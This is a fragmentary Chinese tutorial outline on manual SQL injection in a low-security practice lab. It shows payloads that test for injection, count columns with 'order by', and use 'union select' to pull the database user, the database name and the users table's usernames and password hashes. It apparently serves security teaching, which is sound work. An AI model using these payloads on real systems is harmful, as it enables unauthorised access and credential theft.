目录
1.1、Structured Query Language 结构化查询语言——操控数据库的语言
1.1、防御low:将安全级别设置为low,进入SQL injection
?编辑1.5.1、输入1'order by 1#,网站正常输出,证明第一列存在
1.5.2、输入1'order by 2#,网站正常输出,证明第二 列存在
1.5.3、输入1'order by 3#,网站非正常输出,证明第三列不存在,即该网站数据库有两列
1.5.4、输入1' union select user(),database()#,
1.5.6、输入1'?union select user,password from users#
数据库查询语句
两次尝试 1=1 正常输出,1=2 错误输出,证明1'and 1=1#的SQL语句生效,则存在SQL注入漏洞
user() : 返回当前数据库连接用户
database()?: 返回当前数据库名称
????????table_name:表格名字—>guestbook和users
????????table_schema:简要、概要(mysql中固定的数据库,保存了mysql的信息)
????????密码为哈希算法加密,需要单独解密